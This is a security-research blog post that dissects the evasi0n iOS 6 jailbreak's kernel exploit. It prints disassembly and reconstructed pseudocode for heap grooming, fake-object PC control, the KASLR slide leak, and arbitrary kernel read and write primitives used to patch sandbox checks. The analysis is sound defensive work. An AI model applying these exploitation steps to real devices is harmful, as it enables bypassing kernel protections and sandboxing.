Azimuth Security: From USR to SVC: Dissecting the 'evasi0n' Kernel Exploit <body onload='MM_preloadImages(&apos;;,&apos;;,&apos;;,&apos;;)'><script type="text/javascript"> function setAttributeOnload(object, attribute, val) { if(window.addEventListener) { window.addEventListener('load', function(){ object[attribute] = val; }, false); } else { window.attachEvent('onload', function(){ object[attribute] = val; }); } } </script> <div id="navbar-iframe-container"></div> <script type="text/javascript" src=""></script> <script type="text/javascript"> gapi.load("", function() { if (gapi.iframes && gapi.iframes.getContext) { gapi.iframes.getContext().openChild({ url: '\x3d509652393303233687\x26blogName\x3dAzimuth+Security\x26publishMode\x3dPUBLISH_MODE_HOSTED\x26navbarType\x3dBLUE\x26layoutType\x3dCLASSIC\x26searchRoot\x3d\x26blogLocale\x3den\x26v\x3d2\x26homepageUrl\x3d\x26vt\x3d1038547295672672920', where: document.getElementById("navbar-iframe-container"), id: "navbar-iframe" }); } }); </script>
azimuth security services training resources about BLOG
project zeus
"You will not be informed of the meaning of Project Zeus until the time is right for you to know the meaning of Project Zeus."
Current Posts
April 2010
May 2010
August 2010
September 2012
February 2013
March 2013
April 2013
May 2013
June 2013
December 2013
March 2014
January 2015
From USR to SVC: Dissecting the 'evasi0n' Kernel Exploit
From USR to SVC: Dissecting the 'evasi0n' Kernel Exploit
posted by Tarjei Mandt @ 2/13/2013 08:30:00 AM  

The evasi0n jailbreak leverages an impressive set of vulnerabilities that collectively enable users to fully jailbreak their iOS 6.x based device. While the user land component was an impressive feat on its own, the kernel exploit used to evade sandbox restrictions as well as code signing, holds an equally impressive array of sophisticated exploitation techniques. In this blog entry, we detail the leveraged kernel vulnerability and show how evasi0n goes to great lengths to overcome security hardenings such as kernel address space randomization and kernel address space protection.

The IOUSBDeviceFamily Vulnerability

The kernel vulnerability leveraged by evasi0n lies in the driver in iOS. An application may talk to this driver using the IOUSBDeviceInterface user client, allowing it to access and communicate with a USB device as a whole. This is typically assisted by leveraging functionality of the IOUSBDeviceLib userland COM plugin, which implements the IOUSBDeviceInterfaceClass and interfaces with the methods exposed by IOUSBDeviceInterface (for a list, see this page). In order to talk to a device, endpoints called pipes are provided to which applications and services can write to and read from. These pipes, such as the default control pipe, are abstracted by the interface class and exposed only as index values to user space components, but are at the lower layer referenced by their pointer value to the backing kernel pipe object.

In the driver, several methods that accept a pipe object pointer from user space fail to perform sufficient validation and only check if the pointer passed in is non-null. An application with the ability to communicate with usb devices (essentially holding the '' entitlement) may interact with the IOUSBDeviceInterface directly by invoking functions such as IOConnectCallMethod() or IOConnectCallScalarMethod(), and can therefore provide an arbitrary pipe object pointer to these methods. This may result in arbitrary code execution if the memory referenced by the provided pipe object pointer can be controlled from user space.

In evasi0n, the method with selector 15 (stallPipe) is used to trigger the vulnerability. The assembly output of the processing function in is shown below.

0000:80660EE8 ; unsigned int stallPipe(int interface, int pipe)
0000:80660EE8         PUSH            {R7,LR}
0000:80660EEA         MOVW            R0, #0x2C2
0000:80660EEE         MOV             R7, SP
0000:80660EF0         MOVT.W          R0, #0xE000
0000:80660EF4         CMP             R1, #0 // is pipe object pointer null?
0000:80660EF6         IT EQ
0000:80660EF8         POPEQ           {R7,PC}
0000:80660EFA         MOV             R0, R1
0000:80660EFC         BL              __stallPipe
0000:80660F00         MOVS            R0, #0
0000:80660F02         POP             {R7,PC}

0000:8065FC60 __stallPipe
0000:8065FC60         LDR             R1, [R0,#0x28]  // check if value in pipe object is 1
0000:8065FC62         CMP             R1, #1
0000:8065FC64         IT NE
0000:8065FC66         BXNE            LR
0000:8065FC68         LDR             R2, [R0,#8] // get object X from pipe object
0000:8065FC6A         LDR             R1, [R0,#0x20] // get value from pipe object
0000:8065FC6C         MOV             R0, R2
0000:8065FC6E         MOVS            R2, #1
0000:8065FC70         B.W             sub_80661B70

0000:80661B70 ; int sub_80661B70(int interface)
0000:80661B70         PUSH            {R7,LR}
0000:80661B72         MOV             R7, SP
0000:80661B74         SUB             SP, SP, #8
0000:80661B76         LDR.W           R9, [R0] // get object Y from object X
0000:80661B7A         MOV             R12, R2
0000:80661B7C         LDR             R0, [R0,#0x50] // get object Z from object X (1st arg)
0000:80661B7E         MOV             R2, R1 // 3rd arg
0000:80661B80         LDR.W           R1, [R9,#0x344] // get value from object Y (2nd arg)
0000:80661B84         LDR             R3, [R0] // object Z vtable
0000:80661B86         LDR.W           R9, [R3,#0x70] // get function from object Z vtable
0000:80661B8A         MOVS            R3, #0
0000:80661B8C         STR             R3, [SP,#0x10+var_10]
0000:80661B8E         STR             R3, [SP,#0x10+var_C]
0000:80661B90         MOV             R3, R12
0000:80661B92         BLX             R9 // call function from object Z vtable
0000:80661B94         ADD             SP, SP, #8
0000:80661B96         POP             {R7,PC}

In iOS 5, an attacker could typically create a fake object in user-mode and pass a pointer to it in order to make the kernel operate on the user controlled buffer. In iOS 6, however, Apple has separated user and kernel address space (see the section on 'Kernel Address Space Protection' in our iOS 6 kernel security presentation) and therefore renders this technique ineffective. Moreover, with the introduction of kernel address space layout randomisation (KASLR), iOS 6 furthermore complicates kernel exploitation as the attacker can no longer easily infer where the kernel and driver modules are mapped.  In the following sections, we look at how evasi0n works its way around these mitigations in order to gain full control of the iOS kernel.

From bug to PC: Taming the kernel heap

Recall from the vulnerability that the attacker can pass any pointer he or she wants to the vulnerable function. In order to exploit the vulnerability, this pointer must not only reference valid memory but also memory that the attacker can control. Essentially, this initial step requires a memory leak of some kind as well as a way of injecting data into kernel memory. The strategy evasi0n uses in this initial stage is to groom the heap with both allocations semi-controlled by the user as well as allocations for which it can query the address (the leak). This way, evasi0n can with a high degree of predictability determine the address of the data it controls.

In order to make allocations for which evasi0n can query the address, it calls method selector 18 (createData) of the IOUSBDeviceInterface user client. This method invokes the createMappinInTask() method to request a mapping to be created in the kernel task and produces an IOMemoryMap object whose address is returned back to user mode as a "map token". The use of object pointers as unique identifiers for user mode components is very common in iOS and OSX. To complicate kernel exploitation, many such pointers are now added a fixed unknown permutation value (and thus retaining the uniqueness) before returned to user mode, but there are still examples of drivers that happily convey this information.

The IOMemoryMap object is allocated using kalloc() and results in a 68 byte allocation, which falls into the kalloc.88 zone. Thus, an attacker who is able to trigger allocations in this zone using controlled data, may potentially be able to locate it in kernel memory. Before doing this, evasi0n ensures that the target kalloc zone is in a defragmented state by repeatedly creating IOMemoryMap objects until it has 9 bordering objects. This is shown by the following pseudocode.

DefragmentHeap( io_connect_t data_port )

  uint64_t input;
  uint64_t output[3];
  int outputCnt;
  int count;

  uint32_t map_token;
  uint32_t prev_map_token;


  while ( 1 )
    input = 1024;
    outputCnt = 3;

    result = IOConnectCallScalarMethod( data_port, 18, &input, 1, output, &outputCnt );

    map_token = ( result == KERN_SUCCESS ) ? ( uint32_t ) output[2] : 0;

    if ( ( prev_map_token - map_token ) == 0xb0 )

      if ( count == 9 )
        // sufficiently defragmented
        // start to inject user controlled data
      count = 0;

Note that 0xb0 (176) is used as opposed to 0x58 (88) in the above code when determining object adjacency. This is to compensate for an additional allocation that is requested from the same zone (before the IOMemoryMap object is allocated) when calling selector method 18.

Once evasi0n has sufficiently defragmented the kalloc.88 zone using IOMemoryMap objects, it creates a message holding 20 out-of-line descriptors (mach_msg_ool_descriptor_t), each referencing 40 bytes of user provided data. When sending this message in a mach_msg() call, the kernel creates a vm_map_copy_t structure for each ool descriptor held by the message (if the data size is less than a page) and pads the user provided data to it. This essentially produces a sizeof( vm_map_copy_data_t ) (48 bytes) + 40 bytes kalloc() allocation which falls into the same kalloc.88 zone.

  mach_port_allocate( mach_task_self( ), MACH_PORT_RIGHT_RECEIVE, &myport );

  msg.header.msgh_remote_port = myport;
  msg.header.msgh_local_port = MACH_PORT_NULL;
  msg.header.msgh_size = sizeof( msg );

  msg.body.msgh_descriptor_count = 20;
  for ( i = 0; i < msg.body.msgh_descriptor_count; i++ )
    msg.desc[i].address = layout;
    msg.desc[i].size = 40;
    msg.desc[i].type = MACH_MSG_OOL_DESCRIPTOR;

  mach_msg( &msg.header, MACH_SEND_MSG, msg.header.msgh_size, 0, 0, 0, 0 );

  // point fakePipeObj into ool descriptor data
  fakePipeObj = map_token - 0x340;

The vm_map_copy_t allocations stay in memory until the destination port receives the message in another mach_msg() call, and therefore allow evasi0n to force persistent allocations into the kalloc.88 zone while having full control of the last 40 bytes. In turn, this allows evasi0n to reference user controlled data by leveraging the pointer values of the IOMemoryMap objects allocated previously. The line below depicts the heap layout in the kalloc.88 zone that this process tries to obtain.

[ repeat 18 times ] [ [ vm_map_copy_t | AAAA.. ] [ vm_map_copy_t | AAAA.. ] [ IOMemoryMap ] [ ... ] [ IOMemoryMap ] [ ...] [ repeat 8 times ]

In order to control PC and eventually achieve arbitrary code execution, evasi0n creates a very specific ool descriptor data layout. In fact, whenever evasi0n needs to call a different function, all the vm_map_copy_t allocations are freed (by receiving the message at the destination port) and a new message is sent with the updated ool descriptor data (reallocating the freed allocations). An important goal in preparing this data is to have all the object dereferences (triggered by the stallPipe function in land in the last 40 bytes of the vm_map_copy_t allocations.

Given that the kalloc.88 zone has been properly defragmented using IOMemoryMap objects, evasi0n sets the address of the pipe object passed to selector 15 to the last IOMemoryMap object - 0x340 (pointing to the start of the user controlled data of the 10th vm_map_copy_t allocation) and preps the buffer for each ool descriptor as shown in the code below. This allows evasi0n to invoke an arbitrary function and fully control the value of the second (r1) and third argument (r2), while leaving the first argument (r0) in a semi controlled state due to its use as an object (with a functional viable pointer). We describe the implications of this in the primitives section.

CallFunctionWithArgs( io_connect_t data_port, void * function, int arg2, int arg3 )
  int layout[10];
  uint64_t input;

  layout[0] = fakePipeObj + 0xC;
  layout[1] = fakePipeObj + 0x10;
  layout[2] = arg2;                       // second arg
  layout[3] = fakePipeObj - 0x33C;      // pointer to second arg + 0x344
  layout[4] = fakePipeObj - 0x5C;
  layout[5] = function;                   // function to call
  layout[6] = arg3;                       // third argument
  layout[7] = 0xDEADC0DE;
  layout[8] = 1;      // is active (checked in driver)
  layout[9] = 0xDEADC0DE;

  // receive and send new message with updated layout
  PrepareHeapLayout( data_port, layout );

  input = (unsigned int)( fakePipeObj - 8 );

  IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0);

Finding the kernel base

Once evasi0n can control the program counter (PC), it proceeds to learning the base of the kernel. Since iOS6, the kernel is slid on boot, offering 512 possible locations at which the kernel can be mapped. However, in spite of this randomization, kernel address space is not fully randomized, partly due to the ARM vector table being located at a known fixed address. In the classic model, used in pre-Cortex chips as well as Cortex-A/R chips, the vector table is initially held at address 0, but at runtime can be relocated to 0xFFFF0000 by setting the V bit (high exception vectors) in the control register (CP15 c1). Although more recent TrustZone enabled ARM cores such as the Cortex-A{n} series allow the vector table to be relocated to an arbitrary address, iOS-based devices stay true to the old model. The following set of handlers are defined in the ARM vector table.

Offset  Handler
00      Reset
04      Undefined Instruction
08      Supervisor Call (SVC)
0C      Prefetch Abort
10      Data Abort
14      (Reserved)
18      Interrupt (IRQ)
1C      Fast Interrupt (FIQ)

When an exception occurs, the processor simply begins to execute at the specific offset, and the following dump shows how these handlers jump to the relevant code in the ARM vector page.

(gdb) x/8i 0xffff0000
0xffff0000: add pc, pc, #24 ; 0x18
0xffff0004: add pc, pc, #36 ; 0x24
0xffff0008: add pc, pc, #48 ; 0x30
0xffff000c: add pc, pc, #60 ; 0x3c
0xffff0010: add pc, pc, #72 ; 0x48
0xffff0014: add pc, pc, #84 ; 0x54
0xffff0018: add pc, pc, #96 ; 0x60
0xffff001c: mov pc, r9

In order to learn the address from where selector method 15 calls the controlled function pointer, evasi0n generates an exception by invoking the data abort exception handler (_feh_dataabt) directly from a separate thread. In order to catch this exception, it calls thread_set_exception_ports() to set up an EXCEPTION_STATE_IDENTITY handler for the target thread, which causes the exception to be dispatched to the catch_exception_raise_state_identity() function. This function can be summarized as follows.

                (mach_port_t                          exception_port,
                 mach_port_t                                  thread,
                 mach_port_t                                    task,
                 exception_type_t                          exception,
                 exception_data_t                               code,
                 mach_msg_type_number_t                   code_count,
                 int *                                        flavor,
                 thread_state_t                             in_state,
                 mach_msg_type_number_t               in_state_count,
                 thread_state_t                            out_state,
                 mach_msg_type_number_t *            out_state_count)
*(DWORD*)( global.read_buf + global.read_addr_cur - global.read_addr ) = in_state->__r1;
global.exception_pc = in_state->__pc;
global.read_addr_cur += 4;

bzero( &out_state, sizeof( out_state ) );

out_state->__sp = &custom_stack[custom_stack_size];
out_state->__cpsr = 0x30;

if ( global.read_addr_cur >= global.read_addr_end )
out_state->__pc = &CallExitThread & ~1;
bContinue = false;
out_state->__r0 = &global;
out_state->__pc = &TriggerExceptionWithGlobal & ~1;

out_state_count = ARM_THREAD_STATE_COUNT;

return 0;

In the function above, in_state->__pc is saved to global.exception_pc and allows evasi0n to leak the address in from where the data abort handler was called. This pointer value is used to compute the base address of the kernel as well as the base address of the driver module by leveraging OSBundleMachoHeaders data that can be requested from OSKextCopyLoadedKextInfo(). Specifically, by retrieving both the unslid kernel text segment address and the unslid text section address, the kernel slide is computed as follows:

slide = ( ( global.exception_pc - IOUSBTextSectionAddrUnslid ) & 0xFFF00000 )

kernel_base = ( KernelTextSegmentAddrUnslid & 0xFFFF0000 ) + slide

Note also the additional code in catch_exception_raise_state_identity() which also allows evasi0n to leak 4 bytes at the chosen address (global.read_addr_cur) for each triggered exception. This is performed by prep'ing the heap such that read_addr_cur is dereferenced and its value is put into r1. We can see this by looking at the TriggerException() function, called whenever evasi0n uses this technique.

TriggerException( io_connect_t data_port, void * function, int addr_read_into_r1, int unused )
  uint64_t input
  int layout[10]


  layout[0] = fakePipeObj + 0xC;
  layout[1] = fakePipeObj + 0x10;
  layout[2] = 0x580EF9C;
  layout[3] = addr_read_into_r1 - 0x344;    // read address + 0x344 into r1
  layout[4] = fakePipeObj - 0x5C;
  layout[5] = function;                     // function to call
  layout[6] = unused;                       // third arg
  layout[7] = 0xDEADC0DE;
  layout[8] = 1;                            // must be 1
  layout[9] = 0xDEADC0DE;

  PrepareHeapLayout( data_port, layout );

  input = (unsigned int)( fakePipeObj - 8 );

  IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0);

This function is called by the wrapper function TriggerExceptionWithGlobal(), which is invoked by catch_exception_raise_state_identity().

TriggerExceptionWithGlobal( globaldata * global )
  TriggerException( global.data_port, 0xFFFF0010, global.read_addr_cur, 0x1234 );

Read and Write Primitives

Once the kernel slide is known and evasi0n has the ability to leak arbitrary memory using the exception technique, its first step is to find a more reliable way of leaking memory. A major drawback of leaking data using the exception mechanism is that the kalloc zone needs to be prep'ed for each 4 bytes of memory one wants to leak. This may potentially introduce errors as there is nothing preventing the system from allocating blocks from the kalloc.88 zone between the time when a message is received (and the blocks are freed) and a new message is sent (reallocating those blocks). Thus, evasi0n attempts to find a more reliably way of leaking memory by locating the memmove() function within the kernel module. This is done by first leaking the first two pages of the kernel text section and by following each branch instruction (and leaking the pages preceding the branch destination) until the memmove() signature can be found. This works well because one of the first calls in the kernel binary is memset() which is located close to the wanted memmove() function.

Having found the memmove() function in memory, the next step is to return data to a buffer that can be read from user-mode. Recall from the heap grooming section that the first argument passed to the function that gets called when leveraging the vulnerability points to the data portion of the vm_map_copy_t allocations (passed in as data in the ool descriptor). Thus, as long as the length is small enough to fit into this buffer (0x18 bytes or less), memmove() can be called directly with the wanted source address to leak arbitrary memory. In the code below, evasi0n invokes memmove() to write the contents held by the source address back into the vm_map_copy_t data buffer. It then receives the message and copies out the data from the ool descriptor where it sees that the buffer contents have changed.

KernelReadSmallBuffer( io_connect_t data_port, int memmove_offset, void * src, void * dst, size_t len )
  int layout[10];
  uint64_t input;


  layout[0] = fakePipeObj + 0xC;
  layout[1] = fakePipeObj + 0x10;
  layout[2] = src;                              // second arg
  layout[3] = fakePipeObj - 0x33C;
  layout[4] = fakePipeObj - 0x5C;               // first argument (&layout[4])
  layout[5] = kernel_base + memmove_offset;     // function to call
  layout[6] = length;                           // third argument
  layout[7] = 0xDEADC0DE;
  layout[8] = 1;                                // required
  layout[9] = 0xDEADC0DE;

  PrepareHeapLayout( data_port, layout );

  input = (unsigned int) ( fakePipeObj - 8 );

  IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0);

  mach_msg( &msg_recv, MACH_RCV_MSG, 0, 0x114, myport, 0, 0 );
  mach_msg( &msg_send, MACH_SEND_MSG, msg_send.base.header.msgh_size, 0, 0, 0, 0 );

  for ( i = 0; i < 20; i++ )
    if ( memcmp( msg_recv.desc[i].address, layout, 40 ) )
      memcpy( dst, msg_recv.desc[i].address, length );

If the requested buffer is larger than 24 bytes, evasi0n takes a different approach as the data cannot easily be fitted into the 40 byte ool descriptor buffer (the copy starts 16 bytes into it). To get around this limitation, it corrupts the vm_map_copy_t structure preceding the ool descriptor data in memory to make the kernel believe it manages a different buffer of a different size. This was a technique (primitive #2: arbitrary memory disclosure) presented in the talk Azimuth Security did on iOS 6 kernel security at Hack in the Box and Breakpoint last year, and essentially allows an attacker (with the ability to corrupt a vm_map_copy_t structure) to leak arbitrary memory of arbitrary length without any side effects (i.e. no need to repair the structure).

The diagram below depicts a typical layout of a vm_map_copy_t structure with data appended to it. As the data pointer (kdata) referenced by this data structure is never freed, an attacker can modify 'Size' and 'kdata' in order to have the message return the indicated memory.

The steps evasi0n takes for corrupting the vm_map_copy_t structure in memory are a bit more involved, but basically boils down to positioning a crafted vm_map_copy_t structure into one ool descriptor buffer and invoking memmove() to copy the fake structure over a real one in one of the adjacent vm_map_copy_t buffers. Once the vm_map_copy_t structure in memory is corrupted, the message is received, causing the kernel to return the data specified back into an allocated region.

KernelReadBigBuffer( io_connect_t data_port, int memmove_offset, int source, void *ouput, size_t length)
  int layout[10];
  uint64_t input;
  my_message_t msg_send;
  my_message_t msg_recv;
  vm_map_copy_t copy = { 0 };

  // init msg_send


  copy.size = length;
  copy.cpy_kdata = source;

  layout[0] = fakePipeObj + 0xC;
  layout[1] = fakePipeObj + 0x10;
  layout[2] = fakePipeObj - 0x70;               // second arg
  layout[3] = fakePipeObj - 0x33C;              // decides second arg
  layout[4] = fakePipeObj - 0x5C;               // first arg ( &layout[4] )
  layout[5] = kernel_region + memmove_offset;   // function to call
  layout[6] = 44;                               // third arg
  layout[7] = 0x872C93C8;
  layout[8] = 1;
  layout[9] = 0xB030D179;

  for ( i = 0; i < 20; i++ )
    if ( i == return_data_index )
msg_send.desc[i].address = copy; // crafted vm_map_copy_t structure
    msg_send.desc[i].address = layout; // fake pipeobj

    msg_send.desc[i].size = 40;
    msg_send.desc[i].type = MACH_MSG_OOL_DESCRIPTOR;

  mach_msg(&msg_recv.base.header, MACH_RCV_MSG, 0, 0x114u, myport, 0, 0);
  mach_msg(&msg_send.base.header, MACH_SEND_MSG, msg_send.base.header.msgh_size, 0, 0, 0, 0);

  input = (unsigned int) ( fakePipeObj - 8 );

  // corrupt vm_map_copy_t structure to read arbitrary memory
  IOConnectCallScalarMethod( data_port, 15, &input, 1, 0, 0 );

  // read back the memory set in the vm_map_copy_t structure
  mach_msg(&msg_recv.base.header, MACH_RCV_MSG, 0, 0x114u, myport, 0, 0);
  mach_msg(&msg_send.base.header, MACH_SEND_MSG, msg_send.base.header.msgh_size, 0, 0, 0, 0);

  // copy out the leaked data from ool descriptor

Because evasi0n cannot set the destination pointer in a memmove() operation to an arbitrary value (due to the requirement of needing the control the vtable pointer at that location to call the wanted function), another technique needs to be used for writing to arbitrary memory. To solve this problem, it simply searches for an STR R1, [R2] / BX LR gadget in memory and uses that to write four bytes at a time. Once this gadget has been found, it proceeds to patch all the needed locations in memory such as the sb_evaluate() and task_for_pid() routine. Although code pages are initially non-writable, it finds the physical memory map of the kernel (kernel_pmap) and patches the relevant page table entries directly.


With the introduction of KASLR and user/kernel address space separation, Apple has significantly raised the bar for kernel exploitation in iOS 6. However, as the evasi0n jailbreak demonstrates, reliable exploitation can still be achieved once the right primitives are available. As the attack was partly made possible using information leaks, it should be in Apple's best interest to review drivers in iOS and make sure they don't leak valuable kernel address information to user mode.

Labels: , , ,


At February 13, 2013 at 1:40 PM , Blogger jduck said...

Great post Tarjei!

At February 13, 2013 at 11:30 PM , Anonymous Anonymous said...

great english skills, "sounds" like Apple inc. evangelist i've heard in some itunes Apple app development essential videos of 2008. have a couple of names in my mind thou i won't name them, marc

At February 14, 2013 at 6:11 PM , Anonymous rainshark said...


At February 19, 2013 at 7:49 PM , Blogger Unknown said...

Very nice , congrats! =)

At September 30, 2013 at 5:00 AM , Anonymous lap dat camera said...

This is great information, thanks’ for share!

Post a Comment

Subscribe to Post Comments [Atom]

<< Home

© Copyright 2013 Azimuth Security Pty Ltd